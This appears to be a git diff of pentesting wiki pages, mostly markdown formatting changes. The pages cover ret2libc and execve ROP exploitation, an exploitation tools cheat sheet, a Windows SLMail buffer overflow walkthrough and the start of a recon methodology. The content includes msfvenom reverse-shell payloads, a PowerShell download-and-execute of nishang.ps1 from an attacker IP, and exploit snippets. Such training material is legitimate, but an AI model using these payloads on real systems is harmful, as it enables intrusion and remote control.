Leaked libc adddress: `0x7ff629878690` -We can figure out which **libc** that is most likely used. +We can figure out which **libc **that is most likely used. -```text +``` ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` -We get 2 matches \(you should try the second one if the first one is not working\). Download the first one: +We get 2 matches (you should try the second one if the first one is not working). Download the first one: -```text +``` ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb @@ -200,9 +202,9 @@ gets At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` -So, at the begging of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` +So, at the begging of `template.py` change the **libc **variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` -Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. +Giving the **path **to the **libc library **the rest of the **exploit is going to be automatically calculated**. Inside the `get_addr`function the **base address of libc** is going to be calculated: @@ -212,7 +214,7 @@ if libc != "": log.info("libc base @ %s" % hex(libc.address)) ``` -Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** +Then, the address to the function `system `and the **address **to the string_ "/bin/sh"_ are going to be **calculated **from the **base address** of **libc **and given the **libc library.** ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh @@ -235,20 +237,20 @@ p.sendline(rop2) p.interactive() #Interact with the conenction ``` -Let's explain this final ROP. -The last ROP \(`rop1`\) ended calling again the main function, then we can **exploit again** the **overflow** \(that's why the `OFFSET` is here again\). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ \(`BINSH`\) and call **system** function \(`SYSTEM`\) because the address of _"/bin/sh"_ will be passed as a parameter. -Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. +Let's explain this final ROP.\ +The last ROP (`rop1`) ended calling again the main function, then we can **exploit again **the **overflow **(that's why the `OFFSET `is here again). Then, we want to call `POP_RDI `pointing to the **addres **of _"/bin/sh"_ (`BINSH`) and call **system **function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ +Finally, the **address of exit function** is **called **so the process** exists nicely** and any alert is generated. -**This way the exploit will execute a** _**/bin/sh**_ **shell.** +**This way the exploit will execute a **_**/bin/sh **_**shell.** -![](../../../.gitbook/assets/image%20%28255%29.png) +![](<../../../.gitbook/assets/image (143).png>) -## 4\(2\)- Using ONE\_GADGET +## 4(2)- Using ONE_GADGET -You could also use [**ONE\_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**. -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system **and **"/bin/sh". ONE_GADGET **will find inside the libc library some way to obtain a shell using just one **ROP address**. \ +However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP **you just have to send some more NULL values so the constrain is avoided. -![](../../../.gitbook/assets/image%20%28614%29.png) +![](<../../../.gitbook/assets/image (615).png>) ```python ONE_GADGET = libc.address + 0x4526a @@ -259,11 +261,13 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100 You can find a template to exploit this vulnerability here: -{% page-ref page="rop-leaking-libc-template.md" %} +{% content-ref url="rop-leaking-libc-template.md" %} +[rop-leaking-libc-template.md](rop-leaking-libc-template.md) +{% endcontent-ref %} ## Common problems -### MAIN\_PLT = elf.symbols\['main'\] not found +### MAIN_PLT = elf.symbols\['main'] not found If the "main" symbol does not exist. Then you can just where is the main code: @@ -285,11 +289,10 @@ If the binary is not using Puts you should check if it is using ### `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` +If you find this **error **after creating **all **the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` Try to **subtract 64 bytes to the address of "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md index db6d9329..10e3642e 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -186,7 +186,7 @@ P.interactive() #Interact with your shell :) ## Common problems -### MAIN\_PLT = elf.symbols\['main'\] not found +### MAIN_PLT = elf.symbols\['main'] not found If the "main" symbol does not exist. Then you can just where is the main code: @@ -208,11 +208,10 @@ If the binary is not using Puts you should check if it is using ### `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` +If you find this **error **after creating **all **the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` Try to **subtract 64 bytes to the address of "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - diff --git a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md index 5103c439..d8d86ac0 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md +++ b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md @@ -1,4 +1,4 @@ -# ROP - call sys\_execve +# ROP - call sys_execve In order to prepare the call for the **syscall** it's needed the following configuration: @@ -7,11 +7,11 @@ In order to prepare the call for the **syscall** it's needed the following confi * `rsi: 0 specify no arguments passed` * `rdx: 0 specify no environment variables passed` -So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` \(being aware of the padding needed to control the stack\). +So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). ## Control the registers -Let's start by finding **how to control those registers**: +Let's start by finding** how to control those registers**: ```c ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" @@ -21,7 +21,7 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004498b5 : pop rdx ; ret ``` -With these addresses it's possible to **write the content in the stack and load it into the registers**. +With these addresses it's possible to** write the content in the stack and load it into the registers**. ## Write string @@ -160,5 +160,4 @@ target.interactive() ## References -* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) - +* [https://guyinatuxedo.github.io/07-bof_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19\_speedrun1/index.html) diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md index 5720b4d0..6db213a3 100644 --- a/exploiting/tools/README.md +++ b/exploiting/tools/README.md @@ -2,7 +2,7 @@ ## Metasploit -```text +``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset nasm_shell.rb @@ -12,7 +12,7 @@ msfelfscan -j esi /opt/fusion/bin/level01 ### Shellcodes -```text +``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` @@ -20,58 +20,58 @@ msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] ### Install -```text +``` apt-get install gdb ``` ### Parameters -**-q** --> No show banner -**-x <file>** --> Auto-execute GDB instructions from here -**-p <pid>** --> Attach to process +**-q** --> No show banner\ +**-x \** --> Auto-execute GDB instructions from here\ +**-p \** --> Attach to process #### Instructions -> **disassemble main** --> Disassemble the function -> **disassemble 0x12345678** -> **set disassembly-flavor intel** -> **set follow-fork-mode child/parent** --> Follow created process -> **p system** --> Find the address of the system function -> **help** -> **quit** +\> **disassemble main** --> Disassemble the function\ +\> **disassemble 0x12345678**\ +\> **set disassembly-flavor intel**\ +\> **set follow-fork-mode child/parent** --> Follow created process\ +\> **p system** --> Find the address of the system function\ +\> **help**\ +\> **quit** -> **br func** --> Add breakpoint to function -> **br \*func+23** -> **br \*0x12345678 -> del NUM** --> Delete that number of br -> **watch EXPRESSION** --> Break if the value changes +\> **br func** --> Add breakpoint to function\ +\> **br \*func+23**\ +\> **br \*0x12345678**\ +**> del NUM** --> Delete that number of br\ +\> **watch EXPRESSION** --> Break if the value changes -**> run** --> Execute -**> start** --> Start and break in main -> **n/next** --> Execute next instruction \(no inside\) -> **s/step** --> Execute next instruction -> **c/continue** --> Continue until next breakpoint +**> run** --> Execute\ +**> start** --> Start and break in main\ +\> **n/next** --> Execute next instruction (no inside)\ +\> **s/step** --> Execute next instruction\ +\> **c/continue** --> Continue until next breakpoint -> **set $eip = 0x12345678** --> Change value of $eip -> **info functions** --> Info abount functions -> **info functions func** --> Info of the funtion -> **info registers** --> Value of the registers -> **bt** --> Stack -> **bt full** --> Detailed stack +\> **set $eip = 0x12345678** --> Change value of $eip\ +\> **info functions** --> Info abount functions\ +\> **info functions func** --> Info of the funtion\ +\> **info registers** --> Value of the registers\ +\> **bt** --> Stack\ +\> **bt full** --> Detailed stack -> **print variable** -> **print 0x87654321 - 0x12345678** --> Caculate -> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii +\> **print variable**\ +\> **print 0x87654321 - 0x12345678** --> Caculate\ +\> **examine o/x/u/t/i/s dir_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii -* **x/o 0xDir\_hex** -* **x/2x $eip** --> 2Words from EIP -* **x/2x $eip -4** --> $eip - 4 -* **x/8xb $eip** --> 8 bytes \(b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes\) -* **i r eip** --> Value of $eip -* **x/w pointer** --> Value of the pointer -* **x/s pointer** --> String pointed by the pointer -* **x/xw &pointer** --> Address where the pointer is located -* **x/i $eip** —> Instructions of the EIP +* **x/o 0xDir_hex** +* **x/2x $eip** --> 2Words from EIP +* **x/2x $eip -4** --> $eip - 4 +* **x/8xb $eip** --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) +* **i r eip** --> Value of $eip +* **x/w pointer** --> Value of the pointer +* **x/s pointer** --> String pointed by the pointer +* **x/xw \&pointer** --> Address where the pointer is located +* **x/i $eip** —> Instructions of the EIP ### [GEF](https://github.com/hugsy/gef) @@ -109,7 +109,7 @@ gef➤ pattern search 0x6261617762616176 #### GDB same addresses -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +While debugging GDB will have **slightly different addresses than the used by the binary when executed. **You can make GDB have the same addresses by doing: * `unset env LINES` * `unset env COLUMNS` @@ -119,10 +119,10 @@ While debugging GDB will have **slightly different addresses than the used by th #### Backtrace to find functions called -When you have a **statically linked binary** all the functions will belong to the binary \(and no to external libraries\). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**. -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** \(**backtrace**\) command to see the functions called: +When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to** identify the flow that the binary follows to for example ask for user input**.\ +You can easily identify this flow by **running **the binary with **gdb **until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: -```text +``` gef➤ bt #0 0x00000000004498ae in ?? () #1 0x0000000000400b90 in ?? () @@ -133,57 +133,57 @@ gef➤ bt ### GDB server -`gdbserver --multi 0.0.0.0:23947` \(in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine\) +`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) ## Ghidra ### Find stack offset -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.** -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`. +**Ghidra **is very useful to find the the **offset **for a **buffer overflow thanks to the information about the position of the local variables.**\ +****For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ -![](../../.gitbook/assets/image%20%28615%29.png) +![](<../../.gitbook/assets/image (616).png>) ## GCC -**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections -**-o** --> Output -**-g** --> Save code \(GDB will be able to see it\) -**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ +**-o** --> Output\ +**-g** --> Save code (GDB will be able to see it)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux -**To compile a shellcode: -nasm -f elf assembly.asm** --> return a ".o" -**ld assembly.o -o shellcodeout** --> Executable +**To compile a shellcode:**\ +**nasm -f elf assembly.asm** --> return a ".o"\ +**ld assembly.o -o shellcodeout** --> Executable ## Objdump -**-d** --> **Disassemble executable** sections \(see opcodes of a compiled shellcode, find ROP Gadgets, find function address...\) -**-Mintel** --> **Intel** syntax -**-t** --> **Symbols** table -**-D** --> **Disassemble all** \(address of static variable\) -**-s -j .dtors** --> dtors section -**-s -j .got** --> got section --D -s -j .plt --> **plt** section **decompiled** -**-TR** --> **Relocations** -**ojdump -t --dynamic-relo ./exec \| grep puts** --> Address of "puts" to modify in GOT -**objdump -D ./exec \| grep "VAR\_NAME"** --> Address or a static variable \(those are stored in DATA section\). +**-d** --> **Disassemble executable **sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ +**-Mintel** --> **Intel **syntax\ +**-t** --> **Symbols **table\ +**-D** --> **Disassemble all **(address of static variable)\ +**-s -j .dtors** --> dtors section\ +**-s -j .got** --> got section\ +\-D -s -j .plt --> **plt **section **decompiled**\ +**-TR** --> **Relocations**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ +**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). ## Core dumps 1. Run `ulimit -c unlimited` before starting my program 2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` -3. sudo gdb --core=<path/core> --quiet +3. sudo gdb --core=\ --quiet ## More -**ldd executable \| grep libc.so.6** --> Address \(if ASLR, then this change every time\) -**for i in \`seq 0 20\`; do ldd <Ejecutable> \| grep libc; done** --> Loop to see if the address changes a lot -**readelf -s /lib/i386-linux-gnu/libc.so.6 \| grep system** --> Offset of "system" -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 \| grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" -**strace executable** --> Functions called by the executable -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> Functions called by the executable\ +**rabin2 -i ejecutable --> **Address of all the functions ## **Inmunity debugger** @@ -196,13 +196,12 @@ nasm -f elf assembly.asm** --> return a ".o" ### Debugging in remote linux -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary: +Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux_server _or _linux_server64 _inside the linux server and run it nside the folder that contains the binary: -```text +``` ./linux_server64 -Ppass ``` - Then, configure the debugger: Debugger \(linux remote\) --> Proccess options...: - -![](../../.gitbook/assets/image%20%28112%29.png) + Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +![](<../../.gitbook/assets/image (101).png>) diff --git a/exploiting/tools/pwntools.md b/exploiting/tools/pwntools.md index 1fc99b4e..cb29690f 100644 --- a/exploiting/tools/pwntools.md +++ b/exploiting/tools/pwntools.md @@ -1,6 +1,6 @@ # PwnTools -```text +``` pip3 install pwntools ``` @@ -8,23 +8,23 @@ pip3 install pwntools Get opcodes from line or file. -```text +``` pwn asm "jmp esp" pwn asm -i ``` -**Can select:** +**Can select: ** -* output type \(raw,hex,string,elf\) -* output file context \(16,32,64,linux,windows...\) -* avoid bytes \(new lines, null, a list\) +* output type (raw,hex,string,elf) +* output file context (16,32,64,linux,windows...) +* avoid bytes (new lines, null, a list) * select encoder debug shellcode using gdb run the output ## **Pwn checksec** Checksec script -```text +``` pwn checksec ``` @@ -34,23 +34,23 @@ pwn checksec Get a pattern -```text +``` pwn cyclic 3000 pwn cyclic -l faad ``` **Can select:** -* The used alphabet \(lowercase chars by default\) -* Length of uniq pattern \(default 4\) -* context \(16,32,64,linux,windows...\) -* Take the offset \(-l\) +* The used alphabet (lowercase chars by default) +* Length of uniq pattern (default 4) +* context (16,32,64,linux,windows...) +* Take the offset (-l) ## Pwn debug Attach GDB to a process -```text +``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash @@ -58,7 +58,7 @@ pwn debug --process bash **Can select:** -* By executable, by name or by pid context \(16,32,64,linux,windows...\) +* By executable, by name or by pid context (16,32,64,linux,windows...) * gdbscript to execute * sysrootpath @@ -66,7 +66,7 @@ pwn debug --process bash Disable nx of a binary -```text +``` pwn disablenx ``` @@ -74,21 +74,21 @@ pwn disablenx Disas hex opcodes -```text +``` pwn disasm ffe4 ``` **Can select:** -* context \(16,32,64,linux,windows...\) +* context (16,32,64,linux,windows...) * base addres -* color\(default\)/no color +* color(default)/no color ## Pwn elfdiff Print differences between 2 fiels -```text +``` pwn elfdiff ``` @@ -104,7 +104,7 @@ pwn hex hola #Get hex of "hola" ascii Get hexdump -```text +``` pwn phd ``` @@ -122,7 +122,7 @@ pwn phd Get shellcodes -```text +``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name pwn shellcraft -f hex amd64.linux.sh #Create in C and run @@ -135,10 +135,10 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port * shellcode and arguments for the shellcode * Out file * output format -* debug \(attach dbg to shellcode\) -* before \(debug trap before code\) +* debug (attach dbg to shellcode) +* before (debug trap before code) * after -* avoid using opcodes \(default: not null and new line\) +* avoid using opcodes (default: not null and new line) * Run the shellcode * Color/no color * list syscalls @@ -149,7 +149,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port Get a python template -```text +``` pwn template ``` @@ -159,7 +159,7 @@ pwn template From hex to string -```text +``` pwn unhex 686f6c61 ``` @@ -167,7 +167,6 @@ pwn unhex 686f6c61 To update pwntools -```text +``` pwn update ``` - diff --git a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index 8951ff4a..475a8e1d 100644 --- a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,16 +1,16 @@ -# Windows Exploiting \(Basic Guide - OSCP lvl\) +# Windows Exploiting (Basic Guide - OSCP lvl) ## **Start installing the SLMail service** ## Restart SLMail service -Every time you need to **restart the service SLMail** you can do it using the windows console: +Every time you need to** restart the service SLMail** you can do it using the windows console: -```text +``` net start slmail ``` -![](../.gitbook/assets/image%20%28134%29.png) +![](<../.gitbook/assets/image (23).png>) ## Very basic python exploit template @@ -42,15 +42,15 @@ Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` ## **Attach the proces to Immunity Debugger:** -**File --> Attach** +**File --> Attach** -![](../.gitbook/assets/image%20%28111%29.png) +![](<../.gitbook/assets/image (24).png>) **And press START button** ## **Send the exploit and check if EIP is affected:** -![](../.gitbook/assets/image%20%2822%29.png) +![](<../.gitbook/assets/image (25).png>) Every time you break the service you should restart it as is indicated in the beginnig of this page. @@ -58,9 +58,9 @@ Every time you break the service you should restart it as is indicated in the be The pattern should be as big as the buffer you used to broke the service previously. -![](../.gitbook/assets/image%20%28283%29.png) +![](<../.gitbook/assets/image (26).png>) -```text +``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` @@ -68,13 +68,13 @@ Change the buffer of the exploit and set the pattern and lauch the exploit. A new crash should appeard, but with a different EIP address: -![](../.gitbook/assets/image%20%2827%29.png) +![](<../.gitbook/assets/image (27).png>) Check if the address was in your pattern: -![](../.gitbook/assets/image%20%281%29.png) +![](<../.gitbook/assets/image (28).png>) -```text +``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` @@ -82,15 +82,15 @@ Looks like **we can modify the EIP in offset 2606** of the buffer. Check it modifing the buffer of the exploit: -```text +``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` -With this buffer the EIP crashed should point to 42424242 \("BBBB"\) +With this buffer the EIP crashed should point to 42424242 ("BBBB") -![](../.gitbook/assets/image%20%28296%29.png) +![](<../.gitbook/assets/image (30).png>) -![](../.gitbook/assets/image%20%28336%29.png) +![](<../.gitbook/assets/image (29).png>) Looks like it is working. @@ -100,15 +100,15 @@ Looks like it is working. Lets change the bufer: -```text +``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` launch the new exploit and check the EBP and the length of the usefull shellcode -![](../.gitbook/assets/image%20%28323%29.png) +![](<../.gitbook/assets/image (31).png>) -![](../.gitbook/assets/image%20%28299%29.png) +![](<../.gitbook/assets/image (32).png>) You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. @@ -118,7 +118,7 @@ In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. Change again the buffer: -```text +``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" @@ -146,23 +146,23 @@ Execute repeatedly the exploit with this new buffer delenting the chars that are For example: -In this case you can see that **you shouldn't use the char 0x0A** \(nothing is saved in memory since the char 0x09\). +In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). -![](../.gitbook/assets/image%20%28217%29.png) +![](<../.gitbook/assets/image (33).png>) -In this case you can see that **the char 0x0D is avoided**: +In this case you can see that** the char 0x0D is avoided**: -![](../.gitbook/assets/image%20%2870%29.png) +![](<../.gitbook/assets/image (34).png>) ## Find a JMP ESP as a return address Using: -```text +``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` -You will **list the memory maps**. Search for some DLl that has: +You will** list the memory maps**. Search for some DLl that has: * **Rebase: False** * **SafeSEH: False** @@ -170,31 +170,31 @@ You will **list the memory maps**. Search for some DLl that has: * **NXCompat: False** * **OS Dll: True** -![](../.gitbook/assets/image%20%28280%29.png) +![](<../.gitbook/assets/image (35).png>) Now, inside this memory you should find some JMP ESP bytes, to do that execute: -```text +``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` **Then, if some address is found, choose one that don't contain any badchar:** -![](../.gitbook/assets/image%20%28124%29.png) +![](<../.gitbook/assets/image (36).png>) -**In this case, for example:** _**0x5f4a358f**_ +**In this case, for example: **_**0x5f4a358f**_ ## Create shellcode -```text +``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` -If the exploit is not working but it should \(you can see with ImDebg that the shellcode is reached\), try to create other shellcodes \(msfvenom with create different shellcodes for the same parameters\). +If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: +**Add some NOPS at the beginning **of the shellcode and use it and the return address to JMP ESP, and finish the exploit: ```bash #!/usr/bin/python @@ -253,7 +253,6 @@ There are shellcodes that will **overwrite themselves**, therefore it's importan Add this parameters: -```text +``` EXITFUNC=thread -e x86/shikata_ga_nai ``` - diff --git a/external-recon-methodology/README.md b/external-recon-methodology/README.md index 267874c2..594bd4ff 100644 --- a/external-recon-methodology/README.md +++ b/external-recon-methodology/README.md @@ -1,11 +1,11 @@ # External Recon Methodology {% hint style="danger" %} -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. ## Assets discoveries @@ -15,26 +15,26 @@ If you want to **share some tricks with the community** you can also submit **pu The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to: 1. Find the acquisitions of the main company, this will give us the companies inside the scope. -2. Find the ASN \(if any\) of each company, this will give us the IP ranges owned by each company -3. Use reverse whois lookups to search for other entries \(organisation names, domains...\) related to the first one \(this can be done recursively\) -4. Use other techniques like shodan `org`and `ssl`filters to search for other assets \(the `ssl` trick can be done recursively\). +2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company +3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) +4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). ### Acquisitions -First of all, we need to know which **other companies are owned by the main company**. -One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com/), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one. +First of all, we need to know which **other companies are owned by the main company**.\ +One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**. > Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. ### ASNs -An autonomous system number \(**ASN**\) is a **unique number** assigned to an **autonomous system** \(AS\) by the **Internet Assigned Numbers Authority \(IANA\)**. +An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. -It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs. -**You can search by** company name**, by** IP **or by** domain **in** [**https://bgp.he.net/**](https://bgp.he.net/)**. -Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net/) **\(Africa\),** [**Arin**](https://www.arin.net/about/welcome/region/)**\(North America\),** [**APNIC**](https://www.apnic.net/) **\(Asia\),** [**LACNIC**](https://www.lacnic.net/) **\(Latin America\),** [**RIPE NCC**](https://www.ripe.net/) **\(Europe\). Anyway, probably all the** useful information **\(IP ranges and Whois\)** appears already in the first link. +It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.\ +**You can search by** company name**, by** IP **or by** domain **in** [**https://bgp.he.net/**](https://bgp.he.net)**.**\ +**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE 